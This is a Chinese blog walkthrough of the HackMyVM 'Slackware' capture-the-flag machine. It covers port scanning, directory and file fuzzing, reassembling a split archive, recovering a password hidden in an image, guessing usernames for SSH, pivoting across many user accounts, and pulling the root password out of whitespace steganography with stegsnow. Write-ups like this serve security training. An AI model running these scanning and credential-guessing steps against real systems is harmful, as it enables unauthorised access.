HackMyVM-Slackware

于 2024-04-28 16:51:50 发布
阅读量425 收藏 4
点赞数 6
分类专栏： HackMyVM 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/rx3225968517/article/details/138283631
版权

目录

信息收集

arp-scan

nmap

nikto

whatweb

WEB

web信息收集

gobuster

wfuzz

hydra

ssh连接

提权

系统信息收集

get root

信息收集

arp-scan
┌──(root㉿0x00)-[~/HackMyVM]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:9d:6d:7b, IPv4: 192.168.9.150
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.9.160   08:00:27:42:9b:78       PCS Systemtechnik GmbH


1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.073 seconds (123.49 hosts/sec). 8 responded
nmap
端口信息扫描

┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -p- 192.168.9.160 --min-rate 10000 -oA ports
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 12:49 CST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 35.39% done; ETC: 12:49 (0:00:05 remaining)
Nmap scan report for 192.168.9.160
Host is up (0.00052s latency).
Not shown: 65533 closed tcp ports (reset)
PORT  STATE SERVICE
1/tcp open  tcpmux
2/tcp open  compressnet
MAC Address: 08:00:27:42:9B:78 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 14.29 seconds


版本服务信息扫描

┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -sC -sV -O -p 1,2 192.168.9.160 --min-rate 10000      
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-28 12:50 CST
Nmap scan report for 192.168.9.160
Host is up (0.00051s latency).

PORT  STATE SERVICE VERSION
1/tcp open  ssh     OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey: 
|   256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_  256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open  http    Apache httpd 2.4.58 ((Unix))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Tribute to Slackware
|_http-server-header: Apache/2.4.58 (Unix)
MAC Address: 08:00:27:42:9B:78 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.85 seconds


端口好奇怪！1端口是ssh服务，2端口是http服务！
nikto
┌──(root㉿0x00)-[~/HackMyVM]
└─# nikto -h 192.168.9.160:2                             
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.9.160
+ Target Hostname:    192.168.9.160
+ Target Port:        2
+ Start Time:         2024-04-28 12:53:59 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.58 (Unix)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ 8101 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-04-28 12:54:18 (GMT8) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.58) are not in
      the Nikto 2.5.0 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y

+ ERROR:  -> 
+ ERROR: Update failed, please notify sullo@cirt.net of the previous line.
whatweb
┌──(root㉿0x00)-[~/HackMyVM]
└─# whatweb -v http://192.168.9.160:2/                                           
WhatWeb report for http://192.168.9.160:2/
Status    : 200 OK
Title     : ,Tribute to Slackware
IP        : 192.168.9.160
Country   : RESERVED, ZZ

Summary   : Apache[2.4.58], HTTPServer[Unix][Apache/2.4.58 (Unix)]

Detected Plugins:
[ Apache ]
        The Apache HTTP Server Project is an effort to develop and 
        maintain an open-source HTTP server for modern operating 
        systems including UNIX and Windows NT. The goal of this 
        project is to provide a secure, efficient and extensible 
        server that provides HTTP services in sync with the current 
        HTTP standards. 

        Version      : 2.4.58 (from HTTP Server Header)
        Google Dorks: (3)
        Website     : http://httpd.apache.org/

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : Unix
        String       : Apache/2.4.58 (Unix) (from server string)

HTTP Headers:
        HTTP/1.1 200 OK
        Date: Sun, 28 Apr 2024 02:54:45 GMT
        Server: Apache/2.4.58 (Unix)
        Last-Modified: Sun, 10 Mar 2024 19:03:14 GMT
        ETag: "1d57-6135313b36080"
        Accept-Ranges: bytes
        Content-Length: 7511
        Connection: close
        Content-Type: text/html

WEB

web信息收集

gobuster
┌──(root㉿0x00)-[~/HackMyVM]
└─# gobuster dir -u http://192.168.9.160:2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.160:2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/getslack             (Status: 301) [Size: 240] [--> http://192.168.9.160:2/getslack/]
/robots.txt           (Status: 200) [Size: 21]
Progress: 220561 / 220562 (100.00%)
===============================================================
Finished
===============================================================



提示：在此处搜索

可能是需要我们fuzz一下，普通fuzz不行，我们必须加上robots.txt里面的参数！
wfuzz
┌──(root㉿0x00)-[~/HackMyVM]
└─# wfuzz -u http://192.168.9.160:2/getslack/FUZZ.7z.001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --hc 403,404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.9.160:2/getslack/FUZZ.7z.001
Total requests: 220561

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                    
=====================================================================
                                                                                                                                                                     
000083709:   200        80 L     794 W      19474 Ch    "twitter"                                                                                                                                                                  

Total time: 100.4681
Processed Requests: 220561
Filtered Requests: 220547
Requests/sec.: 2195.332



找到了！访问url就会下载一个文件！

这个文件只是7z的一个分卷，我们需要找到所有的才行！


我一直下载到15就404了说明只有14个文件！

这个时候，我们就可以解压了！

┌──(root㉿0x00)-[~/HackMyVM/123]
└─# 7z x twitter.7z.001

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i9-14900HX (B0671),ASM,AES-NI)

Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)

Extracting archive: twitter.7z.001
--         
Path = twitter.7z.001
Type = Split
Physical Size = 20480
Volumes = 14
Total Physical Size = 268100
----
Path = twitter.7z
Size = 268100
--
Path = twitter.7z
Type = 7z
Physical Size = 268100
Headers Size = 130
Method = LZMA2:384k
Solid = -
Blocks = 1

Everything is Ok

Size:       267951
Compressed: 268100


解压成功！记得解压001哈！

我们得到一个图片文件！我们查看一下是否存在隐写！


trYth1sPasS1993

这个应该就是密码！

try this pass1993

那么用户名呢？？


查看图片发现这个人是Slackware的开发者！


那么猜测，用户名可能是：

Patrick
patrick
Volkerding
volkerding
Patrick_Volkerding
Patrick_volkerding
patrick_Volkerding
patrick_volkerding
Slackware
slackware
Slack
slack
hydra
┌──(root㉿0x00)-[~/HackMyVM]
└─# cat username      
Patrick
patrick
Volkerding
volkerding
Patrick_Volkerding
Patrick_volkerding
patrick_Volkerding
patrick_volkerding
Slackware
slackware
Slack
slack



哈哈哈，猜对了！
ssh连接
┌──(root㉿0x00)-[~/HackMyVM]
└─# ssh patrick@192.168.9.160 -p 1
(patrick@192.168.9.160) Password: 
Last login: Sun Apr 28 06:18:07 2024 from 192.168.9.150
Linux 5.15.145.
patrick@slackware:~$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),1001(kretinga)
patrick@slackware:~$

提权

系统信息收集

这么多用户啊？？


ls -alR .



patrick@slackware:/home/claor$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

Password: 
Sorry, user patrick may not run sudo on slackware.
patrick@slackware:/home/claor$ 


patrick用户没有sudo权限！我们查看另外几个用户！

经过测试，我发现这kretinga、claor两个用户也没有sudo -l权限！

继续信息收集！

patrick@slackware:/home/claor$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/ping
/bin/mount
/bin/umount
/bin/ntfs-3g
/bin/fusermount
/usr/bin/at
/usr/bin/cu
/usr/bin/ksu
/usr/bin/rcp
/usr/bin/rsh
/usr/bin/uux
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/uucp
/usr/bin/crontab
/usr/bin/chage
/usr/bin/afppasswd
/usr/bin/fusermount3
/usr/bin/fdmount
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/rlogin
/usr/bin/uuname
/usr/bin/uustat
/usr/bin/procmail
/usr/bin/newgidmap
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/uuxqt
/usr/sbin/uucico
/usr/libexec/lxc/lxc-user-nic
/usr/libexec/dbus-daemon-launch-helper
/usr/libexec/ssh-keysign
/sbin/unix_chkpwd
/sbin/mount.nfs


找了一圈并没有发现可疑信息！

直到我看到了这个....


id=1000是当前用户，id=1001是下一个用户！


果然，我们需要一直重复这个动作！


一直重复这个动作，直到找到user.txt为止！


累死我了，一直找到第43个用户才找到user.txt!

rpj7@slackware:~$ cat user.txt 
HMV{Th1s1s1Us3rFlag}                                                           
                                                                               
                                                                    
                                                                          
                                                                         
                                                                 
                         
rpj7@slackware:~$ echo -n "HMV{Th1s1s1Us3rFlag}" | base64
SE1We1RoMXMxczFVczNyRmxhZ30=

rpj7@slackware:~$ cat user.txt | base64
SE1We1RoMXMxczFVczNyRmxhZ30JICAgICAJICAgICAgCSAJICAgCSAgICAgCSAgICAgICAJICAg
ICAgIAogICAgCSAgICAgIAkJICAgIAkgICAgICAgCQkJIAkgICAJICAgICAgIAogICAgICAgCSAJ
ICAgICAJICAgICAgIAkgICAgICAJICAgIAkgICAgICAJICAgICAJICAgIAoJICAgICAJICAgIAkg
CSAgICAJICAgICAJICAgICAgCSAgICAgICAJICAgCSAgCiAgICAgCSAgIAkgICAJICAgICAJICAg
ICAJICAgCSAJCSAgICAgIAkgCiAgICAgCSAgICAgICAJICAgICAgIAkgICAgCSAgICAgIAkgICAg
CSAgICAgCSAgCSAKCSAgICAgICAJICAgICAJIAo=


我发现这个user.txt并不是简单的text文件！我们下载到本地分析！

get root
我们使用stegsnow工具把隐藏内容提取出来！

┌──(root㉿0x00)-[~/HackMyVM]
└─# stegsnow user.txt 
+��/嚠�                                                                                                                                                                                                                                            
┌──(root㉿0x00)-[~/HackMyVM]
└─# stegsnow -C user.txt
To_Jest_Bardzo_Trudne_Haslo  


尝试登录root用户

patrick@slackware:~$ su root
Password: 
root@slackware:/home/patrick# 


root@slackware:~# ls
roo00oot.txt
root@slackware:~# cat roo00oot.txt 
There is no root flag here, but it is somewhere in the /home directory.

好家伙，都要结束了都不给我flag！自己找吧！

root@slackware:~# grep  -Pnir 'HMV' /home
/home/rpj7/user.txt:1:HMV{Th1s1s1Us3rFlag}                                                             
/home/0xh3rshel/.screenrc:19:# Here is a flag for root: HMV{SlackwareStillAlive}
真的学不了一点。。。
关注
  • 6
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值